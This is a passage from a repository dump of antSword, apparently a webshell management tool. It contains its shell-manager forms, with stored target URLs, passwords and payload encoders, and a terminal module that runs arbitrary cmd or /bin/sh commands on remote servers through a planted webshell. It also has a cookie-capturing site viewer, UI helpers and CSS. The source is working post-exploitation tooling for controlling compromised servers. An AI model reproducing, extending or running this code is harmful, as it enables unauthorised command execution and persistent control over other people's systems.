labelWidth: 100 },\n            { type: 'label', label: LANG['list']['add']['form']['encoder'] },\n            { type: 'radio', name: `encoder_${c}`, value: 'default', label: 'default', checked: true }\n          ];\n          if (c !== 'custom') {\n            _.push({\n              type: 'radio', name: `encoder_${c}`, value: 'random',\n              label: 'random', checked: _encoder === 'random'\n            });\n          }\n          encoders.map((e) => {\n            _.push({\n              type: 'radio', name: `encoder_${c}`,\n              value: e, label: e, checked: e === _encoder\n            })\n          });\n          return _;\n        })(c)\n      });\n    }\n    return ret;\n  }\n\n\n  /**\n   * 解析表单数据\n   * @param  {object} base  原始base数据\n   * @param  {object} http  原始http数据\n   * @param  {object} other 原始other数据\n   * @return {object}       {base,http,other}\n   */\n  _parseFormData(base, http, other) {\n    // 提取需要的base数据\n    let _baseData = {\n      url: base['url'],\n      pwd: base['pwd'],\n      note: base['note'],\n      type: base['type'],\n      encode: base['encode'],\n      encoder: base[`encoder_${base['type']}`]\n    };\n    // 提取需要的http数据\n    let [headers, bodys] = [{}, {}];\n    for (let _ in http) {\n      if (_.endsWith('value') || !http[_]) {\n        continue\n      }\n      let _tmp = _.split('-');\n      if (_tmp[0] === 'header') {\n        headers[ http[_] ] = http[_.replace(/name$/, 'value')];\n      } else {\n        bodys[ http[_] ] = http[_.replace(/name$/, 'value')];\n      }\n    }\n    // 返回处理完毕的数据\n    return {\n      base: _baseData,\n      http: {\n        body: bodys,\n        headers: headers\n      },\n      other: other\n    };\n  }\n\n  /**\n   * 创建其他设置表单\n   * @param  {object} arg 默认配置\n   * @return {[type]}     [description]\n   */\n  _createOtherForm(arg) {\n    const opt = Object.assign({}, {\n      'ignore-https': 0,\n      'terminal-cache': 0,\n      'filemanager-cache': 1,\n      'request-timeout': '10000',\n      'command-path': ''\n    }, arg.otherConf);\n    const form = this.accordion.cells('other').attachForm([{\n        type: 'settings', position: 'label-right', inputWidth: 400\n      }, {\n        type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        {\n          type: \"checkbox\", name: 'ignore-https', label: LANG['list']['otherConf']['nohttps'],\n          checked: opt['ignore-https'] === 1\n        }, {\n          type: \"checkbox\", name: 'terminal-cache', label: LANG['list']['otherConf']['terminalCache'],\n          checked: opt['terminal-cache'] === 1\n        }, {\n          type: \"checkbox\", name: 'filemanager-cache', label: LANG['list']['otherConf']['filemanagerCache'],\n          checked: opt['filemanager-cache'] === 1\n        },{\n          type: \"label\", label: LANG['list']['otherConf']['requestTimeout']\n        }, {\n          type: \"combo\", label: '/ms', inputWidth: 100, name: \"request-timeout\",\n          options: ((items) => {\n            let ret = [];\n            // 如果自定义的路径不在items里，则++\n            if (items.indexOf(opt['request-timeout']) === -1) {\n              items.unshift(opt['request-timeout']);\n            }\n            items.map((_) => {\n              ret.push({\n                text: _,\n                value: _,\n                selected: opt['command-path'] === _\n              })\n            });\n            return ret;\n          })([\n            '5000', '10000', '30000', '60000'\n          ])\n        }, {\n          type: 'label', label: LANG['list']['otherConf']['commandPath']\n        }, {\n          type: 'combo', name: 'command-path', inputWidth: 200, options: ((items) => {\n            let ret = [];\n            // 如果自定义的路径不在items里，则++\n            if (items.indexOf(opt['command-path']) === -1) {\n              items.unshift(opt['command-path']);\n            }\n            items.map((_) => {\n              ret.push({\n                text: _,\n                value: _,\n                selected: opt['command-path'] === _\n              })\n            });\n            return ret;\n          })([\n            '/bin/sh',\n            'cmd'\n          ])\n        }\n      ]}], true);\n    return form;\n  }\n\n  /**\n   * 创建HTTP请求表单\n   * @param  {object} arg [description]\n   * @return {[type]}     [description]\n   */\n  _createHttpForm(arg) {\n    const opt = Object.assign({}, {\n      headers: {},\n      body: {}\n    }, arg.httpConf);\n    const cell = this.accordion.cells('http');\n    // 创建toolbar，用于添加数据\n    const toolbar = cell.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'add-header',\n      type: 'button',\n      icon: 'plus-square-o',\n      text: 'Header'\n    }, {\n      type: 'separator'\n    }, {\n      id: 'add-body',\n      type: 'button',\n      icon: 'plus-square-o',\n      text: 'Body'\n    }]);\n    // 创建表单\n    const form = cell.attachForm([{\n      type: 'block', inputWidth: 'auto', offsetTop: 12, name: 'header', list: [\n\t\t\t\t{type: \"label\", label: \"HTTP HEADERS\"}\n      ]\n    }, {\n      type: 'block', inputWidth: 'auto', offsetTop: 12, name: 'body', list: [\n        {type: \"label\", label: \"HTTP BODY\"}\n      ]\n    }], true);\n    // 添加Header\n    let _headerCount = 0;\n    const _addHeader = (name = '', value = '') => {\n      _headerCount ++;\n      form.addItem(\n        'header',\n        {\n          type: \"fieldset\", label: `#${_headerCount}`, inputWidth: 480, list:[\n          \t{\n              type: \"input\", name: `header-${_headerCount}_name`,\n              inputWidth: 350, labelWidth: 50, label: \"Name\", value: name\n            }, {\n              type: \"input\", name: `header-${_headerCount}_value`,\n              inputWidth: 350, labelWidth: 50, label: \"Value\", value: value\n            }\n          ]\n        }\n      )\n    }\n    // 添加Body\n    let _bodyCount = 0;\n    const _addBody = (name = '', value = '') => {\n      _bodyCount ++;\n      form.addItem(\n        'body',\n        {\n          type: \"fieldset\", label: `#${_bodyCount}`, inputWidth: 480, list:[\n          \t{\n              type: \"input\", name: `body-${_bodyCount}_name`,\n              inputWidth: 350, labelWidth: 50, label: \"Name\", value: name\n            }, {\n              type: \"input\", name: `body-${_bodyCount}_value`,\n              inputWidth: 350, labelWidth: 50, label: \"Value\", value: value\n            }\n          ]\n        }\n      )\n    }\n    // 监听toolbar事件\n    toolbar.attachEvent('onClick', (id, e) => {\n      switch (id) {\n        case 'add-header':\n          _addHeader();\n          break;\n        case 'add-body':\n          _addBody();\n          break;\n      }\n    });\n    // 添加存储的配置\n    for (let _ in opt.headers) {\n      _addHeader(_, opt.headers[_]);\n    }\n    for (let _ in opt.body) {\n      _addBody(_, opt.body[_]);\n    }\n    // 如果没有配置，则添加空白的输入框\n    if (_headerCount === 0) {\n      _addHeader();\n    }\n    if (_bodyCount === 0) {\n      _addBody();\n    }\n    return form;\n  }\n}\n\nmodule.exports = Form;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/list/grid.js",
    "content": "/**\n * 数据表格模块\n */\n\n\nconst FileManager = require('../../filemanager/');\nconst LANG = antSword['language']['shellmanager']['list']['grid'];\nconst ContextMenu = require('./contextmenu');\n\nclass Grid {\n  /**\n   * 初始化函数\n   * @param  {object} cell dhtmlx.cell对象\n   * @param  {object} top  父层list对象\n   * @return {[type]}      [description]\n   */\n  constructor(cell, top) {\n    // 初始化grid\n    const grid = cell.attachGrid();\n    // 设置grid头\n    grid.setHeader(`\n      ${LANG['url']},\n      ${LANG['ip']},\n      ${LANG['addr']},\n      ${LANG['note']},\n      ${LANG['ctime']},\n      ${LANG['utime']}\n    `);\n    grid.setColTypes(\"ro,ro,ro,ro,ro,ro\");\n    grid.setColSorting('str,str,str,str,str,str');\n    grid.setInitWidths(\"200,120,*,*,140,140\");\n    grid.setColAlign(\"left,left,left,left,center,center\");\n    grid.enableMultiselect(true);\n    // 根据设置隐藏相应的列\n    const dis_smhc = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ? JSON.parse(localStorage.display_shellmanager_hiddencolumns):[];\n    dis_smhc.map((_)=>{grid.setColumnHidden(_,true)});\n\n    // 隐藏右键菜单\n    grid.attachEvent('onRowSelect', bmenu.hide);\n    $('.objbox')\n      .on('click', bmenu.hide)\n      .on('contextmenu', (e) => {\n        if (e.target.nodeName === 'DIV' && grid.callEvent instanceof Function) {\n          grid.callEvent('onRightClick', [grid.getSelectedRowId(), '', e]);\n        }\n      });\n\n    // 监听事件\n    grid.attachEvent('onRightClick', this._onRightClick);\n    grid.attachEvent('onRowDblClicked', this._onRowDblClicked);\n\n    grid.init();\n    return grid;\n  }\n\n  /**\n   * 右键事件\n   * @param  {number} id    选择ID\n   * @param  {number} lid   上一ID\n   * @param  {object} event [description]\n   * @return {[type]}       [description]\n   */\n  _onRightClick(id, lid, event) {\n    // 解析出选中的数据信息\n    let ids = (this.getSelectedId() || '').split(',');\n    // 如果没有选中？则选中右键对应选项\n    if (ids.length === 1) {\n      this.selectRowById(id);\n      ids = [id];\n    }\n    // 获取选择数据信息\n    let infos = [];\n    if (ids.length >= 1) {\n      infos = antSword['ipcRenderer'].sendSync(\n        'shell-find',\n        { _id: { $in: ids } }\n      )\n    }\n    // 获取选中的单条数据\n    let info = infos[0];\n    // 弹出右键菜单\n    new ContextMenu(\n      infos, event,\n      id, ids\n    );\n    return true;\n  }\n\n  /**\n   * 双击事件\n   * @param  {[type]} id    [description]\n   * @param  {[type]} event [description]\n   * @return {[type]}       [description]\n   */\n  _onRowDblClicked(id, event) {\n    const info = antSword['ipcRenderer'].sendSync('shell-findOne', id);\n    new FileManager(info);\n  }\n}\nmodule.exports = Grid;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/list/index.js",
    "content": "/**\n * 左侧数据列表模块\n */\n\nconst Grid = require('./grid');\n// const LANG_T = antSword['language']['toastr'];\nconst LANG = antSword['language']['shellmanager']['list'];\n\nclass List {\n  /**\n   * 初始化函数\n   * @param  {Object} cell dhtmlx cell-object\n   * @param  {Object} top  shell-manager obj\n   * @return {[type]}      [description]\n   */\n  constructor(cell, top) {\n    // 删除折叠按钮\n    document.getElementsByClassName('dhxlayout_arrow dhxlayout_arrow_va')[0].remove();\n    this.cell = cell;\n    this.grid = new Grid(cell, this);\n\n    this.updateHeader();\n  }\n\n  /**\n   * 更新标题\n   * @param  {number} num 数据总数\n   * @return {[type]}     [description]\n   */\n  updateHeader(num = 0) {\n    this.cell.setText(`<i class=\"fa fa-list-ul\"></i> ${LANG['title']} (${num})`);\n  }\n}\n\nmodule.exports = List;\n"
  },
  {
    "path": "antSword/source/modules/terminal/index.js",
    "content": "/**\n * 虚拟终端模块\n * 更新：2016/04/13\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\nconst LANG = antSword['language']['terminal'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass Terminal {\n\n  constructor(opts) {\n    // 生存一个随机ID，用于标识多个窗口dom\n    const hash = String(Math.random()).substr(2, 10);\n\n    // 初始化UI::tabbar\n    const tabbar = antSword['tabbar'];\n    tabbar.addTab(\n      `tab_terminal_${hash}`,\n      `<i class=\"fa fa-terminal\"></i> ${opts['ip']}`,\n      null, null, true, true\n    );\n    tabbar.attachEvent('onTabClick', (id,lid) => {\n      if (id !== `tab_terminal_${hash}`) { return };\n      this.term ? this.term.focus() : 0;\n    });\n    // 初始化UI::cell\n    const cell = tabbar.cells(`tab_terminal_${hash}`);\n    cell.attachHTMLString(`\n      <div\n        id=\"div_terminal_${hash}\"\n        style=\"height:100%;margin:0;padding:0 5px 1px 5px;overflow:scroll\"\n      ></div>\n    `);\n\n    this.path = '';\n    this.opts = opts;\n    this.hash = hash;\n    this.term = null;\n    this.cell = cell;\n    this.isWin = true;\n    this.core = new antSword['core'][opts['type']](opts);\n    this.cache = new antSword['CacheManager'](this.opts['_id']);\n\n    this\n      .getInformation()\n      .then((ret) => {\n        this.initTerminal(ret['info'], ret['dom']);\n      })\n      .catch((err) => {\n        toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);\n        this.cell.progressOff();\n        this.cell.close();\n      })\n  }\n\n  /**\n   * 获取目标信息\n   * @return {Promise} 返回一个Promise操作对象//{dom,info}\n   */\n  getInformation() {\n    return new Promise((ret, rej) => {\n      // 获取DOM\n      const dom = $(`#div_terminal_${this.hash}`);\n      // 获取缓存\n      let infoCache = this.cache.get('info');\n      // 如果有缓存？初始化终端：获取信息&&保存缓存&&初始化终端\n      if (infoCache) {\n        return ret({\n          dom: dom,\n          info: infoCache\n        });\n      }\n      // 开始获取信息\n      this.cell.progressOn();\n      this.core.request(\n        this.core.base.info()\n      ).then((_ret) => {\n        this.cell.progressOff();\n        this.cache.set('info', _ret['text']);\n        return ret({\n          dom: dom,\n          info: _ret['text']\n        });\n      }).catch((e) => {\n        rej(e);\n      });\n    });\n  }\n\n  /**\n   * 初始化终端\n   * @param  {String} ret 目标信息\n   * @param  {Object} dom 要操作的dom元素\n   * @return {None}     [description]\n   */\n  initTerminal(ret, dom) {\n    let info = ret.split('\\t');\n    let infoUser, infoPath, infoDrive, infoSystem;\n    let banner = `[[b;cyan;](*) ${LANG['banner']['title']}]`;\n\n    // 判断数据是否正确\n    if (info.length === 4) {\n      infoPath = info[0];\n      infoDrive = info[1];\n      infoSystem = info[2];\n      infoUser = info[3];\n    } else if (info.length === 2) {\n      infoPath = info[0];\n      infoDrive = info[1];\n    } else {\n      toastr.error('Loading infomations failed!<br/>' + ret, LANG_T['error']);\n      this.cache.del('info');\n      return this.cell.close();\n    }\n\n    // 转换路径特殊字符\n    infoPath = infoPath.replace(/\\\\/g, '/').replace(/\\.$/, '');\n\n    // 判断是否为!win\n    this.isWin = !(infoPath.substr(0, 1) === '/')\n    this.path = infoPath;\n\n    // 组合banner\n    banner += `\\n[[b;#99A50D;]${LANG['banner']['path']}]: [[;#C3C3C3;]${infoPath}]`;\n    banner += `\\n[[b;#99A50D;]${LANG['banner']['drive']}]: [[;#C3C3C3;]${infoDrive}]`;\n    if (info.length === 4) {\n      banner += `\\n[[b;#99A50D;]${LANG['banner']['system']}]: [[;#C3C3C3;]${infoSystem}]`;\n      banner += `\\n[[b;#99A50D;]${LANG['banner']['user']}]: [[;#C3C3C3;]${infoUser}]`;\n    }\n\n    // 初始化终端\n    this.term = dom.terminal( (cmd, term) => {\n      if (!cmd) { return false }\n      // 如果为exit||quit则关闭窗口\n      if (cmd === 'exit' || cmd === 'quit') { return this.cell.close() }\n      // clear清空\n      if (cmd === 'cls' || cmd === 'clear') { return term.clear() }\n      term.pause();\n      // 是否有缓存\n      let cacheTag = 'command-' + new Buffer(this.path + cmd).toString('base64');\n      let cacheCmd = this.cache.get(cacheTag);\n      if (\n        (this.opts.otherConf || {})['terminal-cache'] === 1 && cacheCmd\n      ) {\n        term.echo(\n          antSword.noxss(cacheCmd, false)\n        );\n        return term.resume();\n      };\n      // 获取自定义执行路径\n      let _bin = this.isWin ? 'cmd' : '/bin/sh';\n      let _confBin = (this.opts['otherConf'] || {})['command-path'];\n      _bin = _confBin || _bin;\n      // 开始执行命令\n      this.core.request(\n        this.core.command.exec({\n          cmd: this.parseCmd(cmd, this.path),\n          bin: _bin\n        })\n      ).then((ret) => {\n        let _ = ret['text'];\n        // 解析出命令执行路径\n        const indexS = _.lastIndexOf('[S]');\n        const indexE = _.lastIndexOf('[E]');\n        let _path = _.substr(indexS + 3, indexE - indexS - 3);\n\n        let output = _.replace(`[S]${_path}[E]`, '');\n        _path = _path.replace(/\\n/g, '').replace(/\\r/g, '');\n\n        this.path = _path || this.path;\n        term.set_prompt(this.parsePrompt(infoUser));\n\n        // 去除换行符\n        [\n          /\\n\\n$/, /^\\n\\n/, /\\r\\r$/,\n          /^\\r\\r/, /\\r\\n$/, /^\\r\\n/,\n          /\\n\\r$/, /^\\n\\r/, /\\r$/,\n          /^\\r/, /\\n$/, /^\\n/\n        ].map((_) => {\n          output = output.replace(_, '');\n        });\n        if (output.length > 0) {\n          term.echo(\n            antSword.noxss(output, false)\n          );\n          // 保存最大100kb数据\n          if (output.length < (1024 * 1024)) {\n            this.cache.set(cacheTag, output);\n          };\n        };\n        term.resume();\n      }).catch((_) => {\n        // term.error('ERR: ' + (_ instanceof Object) ? JSON.stringify(_) : String(_));\n        term.resume();\n      });\n    }, {\n        greetings: banner,\n        name: `terminal_${this.hash}`,\n        prompt: this.parsePrompt(infoUser),\n        numChars: 2048,\n        exit: false,\n        // < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}\n        completion: (value, callback) => {\n          callback(\n            this.isWin ? [\n              'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls',\n              'wscript', 'nslookup', 'copy', 'del', 'ren', 'md', 'type',\n              'ping'\n            ] : [\n              'cd', 'ls', 'find', 'cp', 'mv', 'rm', 'ps', 'kill',\n              'file', 'tar', 'cat', 'chown', 'chmod', 'pwd', 'history',\n              'whoami', 'ifconfig', 'clear',\n              'ping'\n            ]\n          )\n        }\n    });\n  }\n\n  /**\n   * 根据执行命令&&路径生成最终command\n   * @param  {String} cmd  要执行的命令\n   * @param  {String} path 当前路径\n   * @return {String}      最终执行命令\n   */\n  parseCmd(cmd, path) {\n    path = path.replace(/\\\\\\\\/g, '\\\\').replace(/\"/g, '\\\\\"').replace(/\\\\/g, '\\\\\\\\');\n    return (this.isWin\n      ? `cd /d \"${path}\"&${cmd}&echo [S]&cd&echo [E]`\n      : `cd \"${path}\";${cmd};echo [S];pwd;echo [E]`\n    );\n  }\n\n  /**\n   * 生成路径提示符\n   * @param  {String} user 当前用户名\n   * @return {String}      term输出字符串\n   */\n  parsePrompt(user) {\n    return antSword.noxss(this.isWin\n      ? `[[b;white;]${this.path.replace(/\\//g, '\\\\')}> ]`\n      : (user ? `([[b;#E80000;]${user}]:[[;#0F93D2;]` : '[[;0F93D2;]') + this.path + ']) $ '\n    );\n  }\n\n}\n\n// export default Terminal;\nmodule.exports = Terminal;\n"
  },
  {
    "path": "antSword/source/modules/viewsite/README.md",
    "content": "## 浏览网站模块\n> 用于浏览目标站点，从而进行一些登陆操作（自动设置cookie等登陆信息    \n\n## 实现思路\n\n1. 打开一个浏览窗口，访问站点域名\n2. 创建一个tabbar，用于管理cookie\n3. 关闭浏览窗口，tabbar会随时刷新cookie的改动，然后显示到UI中\n4. 保存cookie，关闭tabbar（将会把Cookie内容设置为请求的Header.Cookie\n"
  },
  {
    "path": "antSword/source/modules/viewsite/cookiemgr.js",
    "content": "const CM = {\n  /**\n   * Cookie操作对象\n   * @type {object}\n   */\n  cookies: antSword.remote.session.defaultSession.cookies,\n  /**\n   * 获取Cookie\n   * @param  {Object} opt = {} 查询条件{url, name, domain, path, secure, session}\n   * @docLink http://electron.atom.io/docs/api/session/#cookiesgetfilter-callback\n   * @return {Promise}     [description]\n   */\n  get: (opt = {}) => {\n    return new Promise((res, rej) => {\n      CM.cookies.get(opt, (err, _cookies) => {\n        if (err) { return rej(err) }\n        return res(_cookies);\n      })\n    })\n  },\n  /**\n   * 获取Cookie字符串\n   * @param  {object} opt = {}\n   * @return {[type]}     [description]\n   */\n  getStr: (opt = {}) => {\n    return new Promise((res, rej) => {\n      CM.cookies.get(opt, (err, _cookies) => {\n        if (err) { return rej(err) }\n        let _cs = [];\n        _cookies.map((_) => {\n          _cs.push(\n            _['name'] + '=' + _['value']\n          )\n        });\n        return res(_cs.join('; '));\n      })\n    })\n  }\n}\n\nmodule.exports = CM;\n"
  },
  {
    "path": "antSword/source/modules/viewsite/index.js",
    "content": "/**\n * 网站浏览模块\n * 开写：2016/07/01\n */\n\nconst CookieMgr = require('./cookiemgr');\nconst LANG = antSword.language['viewsite'];\nconst LANG_T = antSword.language['toastr'];\n\nclass ViewSite {\n  constructor(opts) {\n    const hash = String(Math.random()).substr(2, 10);\n\n    // 初始化UI::tabbar\n    const tabbar = antSword['tabbar'];\n    tabbar.addTab(\n      `tab_viewsite_${hash}`,\n      `<i class=\"fa fa-chrome\"></i> ${opts['ip']}`,\n      null, null, true, true\n    );\n    tabbar.attachEvent('onTabClick', (id,lid) => {\n      if (id !== `tab_viewsite_${hash}`) { return };\n    });\n\n    this.opts = opts;\n    this.cell = tabbar.cells(`tab_viewsite_${hash}`);\n\n    // 初始化工具栏\n    this.toolbar = this._initToolbar();\n\n    this.grid = this._initGrid();\n\n    // 定时刷新Cookie\n    this._refreshCookie();\n    const inter = setInterval(() => {\n      if (this.grid.clearAll instanceof Function) {\n        this._refreshCookie();\n      } else {\n        clearInterval(inter);\n      }\n    }, 1000);\n\n    // 打开浏览窗口\n    this._loadURL(opts.url);\n  }\n\n  /**\n   * 初始化工具栏\n   * @return {[type]} [description]\n   */\n  _initToolbar() {\n    const toolbar = this.cell.attachToolbar();\n    toolbar.loadStruct([\n      { id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save },\n      { type: 'separator' },\n      { id: 'view', type: 'button', icon: 'chrome', text: LANG['toolbar'].view },\n    ]);\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'save':\n          this._saveCookie();\n          break;\n        case 'view':\n          this._loadURL(this.opts.url);\n      }\n    })\n    return toolbar;\n  }\n\n\n  /**\n   * 初始化grid\n   * @return {[type]} [description]\n   */\n  _initGrid() {\n    const grid = this.cell.attachGrid();\n    // 设置grid头\n    grid.setHeader('Name,Value,Domain,Path,Expires / Max-Age,Size,HTTP,Secure');\n    grid.setColTypes(\"ro,ro,ro,ro,ro,ro,ro,ro\");\n    grid.setColSorting('str,str,str,str,str,str,str,str');\n    grid.setInitWidths(\"120,*,120,50,150,50,50,60\");\n    grid.setColAlign(\"left,left,left,left,left,right,center,left\");\n    grid.enableMultiselect(true);\n    grid.init();\n    return grid;\n  }\n\n  /**\n   * 刷新Cookie\n   * @return {[type]} [description]\n   */\n  _refreshCookie() {\n    CookieMgr.get({\n      url: this.opts['url']\n    }).then((cookie) => {\n      let data = [];\n      cookie.map((c, i) => {\n        data.push({\n          id: i + 1,\n          data: [\n            c.name, c.value, c.domain,\n            c.path, c.session ? 'Session' : new Date(c.expirationDate).toUTCString(),\n            c.name.length + c.value.length, c.httpOnly ? 'httpOnly': '', c.secure ? 'Secure': ''\n          ]\n        });\n      });\n      // 刷新UI\n      this.grid.clearAll();\n      this.grid.parse({\n        'rows': data\n      }, 'json');\n    })\n  }\n\n\n  /**\n   * 保存Cookie到配置\n   * @return {[type]} [description]\n   */\n  _saveCookie() {\n    CookieMgr.getStr({\n      url: this.opts.url\n    }).then((cookie) => {\n      // 1. 获取旧数据\n      const oldHttpConf = (antSword.ipcRenderer.sendSync('shell-findOne', this.opts._id).httpConf || {});\n      // 2. 添加新数据(cookie)\n      const httpConf = Object.assign({}, oldHttpConf, {\n        headers: Object.assign({}, oldHttpConf.headers || {}, {\n          Cookie: cookie\n        })\n      })\n      // 3. 更新数据\n      const ret = antSword.ipcRenderer.sendSync('shell-updateHttpConf', {\n        _id: this.opts._id,\n        conf: httpConf\n      });\n      if (ret === 1) {\n        toastr.success(LANG['saveSuccess'], LANG_T['success']);\n      } else {\n        toastr.error(LANG['saveFailed'](ret), LANG_T['error']);\n      }\n    })\n  }\n\n\n  /**\n   * 初始化浏览窗口\n   * @param  {[type]} url [description]\n   * @return {[type]}     [description]\n   */\n  _loadURL(url) {\n    let win = new antSword['remote'].BrowserWindow({\n      width: 930,\n      height: 666,\n      minWidth: 888,\n      minHeight: 555,\n      show: false,\n      autoHideMenuBar: true,\n      webPreferences: {\n        nodeIntegration: false,\n      },\n      title: this.opts.url\n    });\n    win.loadURL(url);\n    win.show();\n    win.openDevTools();\n  }\n}\n\nmodule.exports = ViewSite;\n"
  },
  {
    "path": "antSword/source/ui/README.md",
    "content": "## 中国蚁剑::UI框架库\n> 用于在插件、扩展以及自身模块中调用。    \n\n**本UI框架基于`dhtmlx`进行二次封装API**    \n开发者可以采用原生框架API进行开发，也可以使用本UI框架进行开发。\n\n原生API文档：[http://docs.dhtmlx.com/](http://docs.dhtmlx.com/)\n"
  },
  {
    "path": "antSword/source/ui/tabbar.js",
    "content": "/**\n * UI::tabbar\n * - 创建一个面板\n * 开写：2016/05/03\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nclass Tabbar {\n  constructor(opts) {\n    // 生成一个随机ID，用于指定唯一的面板\n    let id = 'tabbar_' + (Math.random() * +new Date).toString(16).replace('.', '').substr(0,11);\n    let tabbar = antSword['tabbar'];\n    // 添加面板对象\n    tabbar.addTab(\n      id,\n      '<i class=\"fa fa-puzzle-piece\"></i>',\n      null, null, true, true\n    );\n    this.cell = tabbar.tabs(id);\n  }\n\n  /**\n   * 面板获取焦点\n   * @return {[type]} [description]\n   * @return {Object}           this\n   */\n  active() {\n    this.cell.setActive();\n    return this;\n  }\n\n  /**\n   * 关闭面板\n   * @return {Object} this\n   */\n  close() {\n    this.cell.close();\n    return this;\n  }\n\n  /**\n   * 设置面板标题\n   * @param {String} title = 'New Title' [description]\n   * @return {Object}           this\n   */\n  setTitle(title = 'New Title') {\n    this.cell.setText(`<i class=\"fa fa-puzzle-piece\"></i> ${title}`);\n    return this;\n  }\n\n  /**\n   * 安全输出HTML\n   * - 采用`iframe`框架进行HTML输出，避免变量污染&&一些安全问题\n   * @param  {String} html = \"\" [description]\n   * @return {Object}           this\n   */\n  safeHTML(html = \"\") {\n    let _html = new Buffer(html).toString('base64');\n    let _iframe = `\n      <iframe\n        src=\"data:text/html;base64,${_html}\"\n        style=\"width:100%;height:100%;border:0;padding:0;margin:0;\">\n      </iframe>\n    `;\n    this.cell.attachHTMLString(_iframe);\n    return this;\n  }\n\n  /**\n   * 显示加载中\n   * @param  {Boolean} loading = true 是否显示/false=隐藏\n   * @return {Object}           this\n   */\n  showLoading(loading = true) {\n    this.cell[loading ? 'progressOn' : 'progressOff']();\n    return this;\n  }\n}\n\nmodule.exports = Tabbar;\n"
  },
  {
    "path": "antSword/source/ui/window.js",
    "content": "/**\n * UI::Window\n * - 弹窗窗口\n * 开写：2016/05/03\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nclass Window {\n  /**\n   * 初始化一个窗口对象\n   * @param  {Object} opts 窗口设置（title,width,height\n   * @return {[type]}      [description]\n   */\n  constructor(opts) {\n    // 生成一个随机ID，用于指定唯一的窗口\n    let id = 'win_' + (Math.random() * +new Date).toString(16).replace('.', '').substr(0,11);\n    // 默认配置\n    let opt = $.extend({\n      title: id,\n      width: 500,\n      height: 400,\n      // 在那个dom内显示\n      view: document.body\n    }, opts);\n\n    // 创建窗口\n    let winObj = new dhtmlXWindows();\n    winObj.attachViewportTo(opt['view']);\n\n    let win = winObj.createWindow(\n      id, 0, 0,\n      opt['width'], opt['height']\n    );\n    win.setText(opt['title']);\n    win.centerOnScreen();\n    win.button('minmax').show();\n    win.button('minmax').enable();\n\n    this.win = win;\n  }\n\n  /**\n   * 关闭窗口\n   * @return {[type]} [description]\n   */\n  close() {\n    this.win.close();\n  }\n\n  /**\n   * 设置标题\n   * @param {String} title = 'New Title' 新标题\n   */\n  setTitle(title = 'New Title') {\n    this.win.setText(title);\n  }\n}\n\nmodule.exports = Window;\n"
  },
  {
    "path": "antSword/static/css/index.css",
    "content": "html, body, #container, #loading {\n  width: 100%;\n  height: 100%;\n  margin: 0;\n  padding: 0;\n}\n\n#loading {\n  top: 0;\n  z-index: 999;\n  position: fixed;\n  background-color: #FFF;\n  text-align: center;\n  background-image: url(ant-static://imgs/load.png);\n  background-repeat: no-repeat;\n  background-position: 50% 50%;\n}\n\n/*sidebar.bubble*/\n.dhxsidebar_bubble {\n  width: auto !important;\n  padding: 0 5px;\n  background-color: #666 !important;\n}\n\n/*update*/\n.ant-update {\n  font-family: sans-serif;\n  font-size: 14px;\n}\n.ant-update > .layui-layer-content {\n  padding: 10px 10px;\n  min-width: 300px;\n}\n.ant-update > .layui-layer-content > h3 {\n  margin: 0;\n}\n.ant-update > .layui-layer-content > ol {\n  color: #666;\n}\n.update-icon {\n  font-size: 100px;\n  text-align: center;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.update-winicon {\n  background-image: url(\"ant-static://imgs/cloud-download.svg\");\n}\n\n/*update-loading*/\n\n@-webkit-keyframes rotate_pacman_half_up {\n  0% {\n    -webkit-transform: rotate(270deg);\n            transform: rotate(270deg); }\n\n  50% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg); }\n\n  100% {\n    -webkit-transform: rotate(270deg);\n            transform: rotate(270deg); } }\n\n@keyframes rotate_pacman_half_up {\n  0% {\n    -webkit-transform: rotate(270deg);\n            transform: rotate(270deg); }\n\n  50% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg); }\n\n  100% {\n    -webkit-transform: rotate(270deg);\n            transform: rotate(270deg); } }\n\n@-webkit-keyframes rotate_pacman_half_down {\n  0% {\n    -webkit-transform: rotate(90deg);\n            transform: rotate(90deg); }\n\n  50% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg); }\n\n  100% {\n    -webkit-transform: rotate(90deg);\n            transform: rotate(90deg); } }\n\n@keyframes rotate_pacman_half_down {\n  0% {\n    -webkit-transform: rotate(90deg);\n            transform: rotate(90deg); }\n\n  50% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg); }\n\n  100% {\n    -webkit-transform: rotate(90deg);\n            transform: rotate(90deg); } }\n\n@-webkit-keyframes pacman-balls {\n  75% {\n    opacity: 0.7; }\n\n  100% {\n    -webkit-transform: translate(-100px, -6.25px);\n            transform: translate(-100px, -6.25px); } }\n\n@keyframes pacman-balls {\n  75% {\n    opacity: 0.7; }\n\n  100% {\n    -webkit-transform: translate(-100px, -6.25px);\n            transform: translate(-100px, -6.25px); } }\n\n.pacman {\n  position: relative;\n  margin-left: 30%;\n}\n.pacman > div:nth-child(2) {\n  -webkit-animation: pacman-balls 1s 0s infinite linear;\n          animation: pacman-balls 1s 0s infinite linear; }\n.pacman > div:nth-child(3) {\n  -webkit-animation: pacman-balls 1s 0.33s infinite linear;\n          animation: pacman-balls 1s 0.33s infinite linear; }\n.pacman > div:nth-child(4) {\n  -webkit-animation: pacman-balls 1s 0.66s infinite linear;\n          animation: pacman-balls 1s 0.66s infinite linear; }\n.pacman > div:nth-child(5) {\n  -webkit-animation: pacman-balls 1s 0.99s infinite linear;\n          animation: pacman-balls 1s 0.99s infinite linear; }\n.pacman > div:first-of-type {\n  width: 0px;\n  height: 0px;\n  border-right: 25px solid transparent;\n  border-top: 25px solid #666;\n  border-left: 25px solid #666;\n  border-bottom: 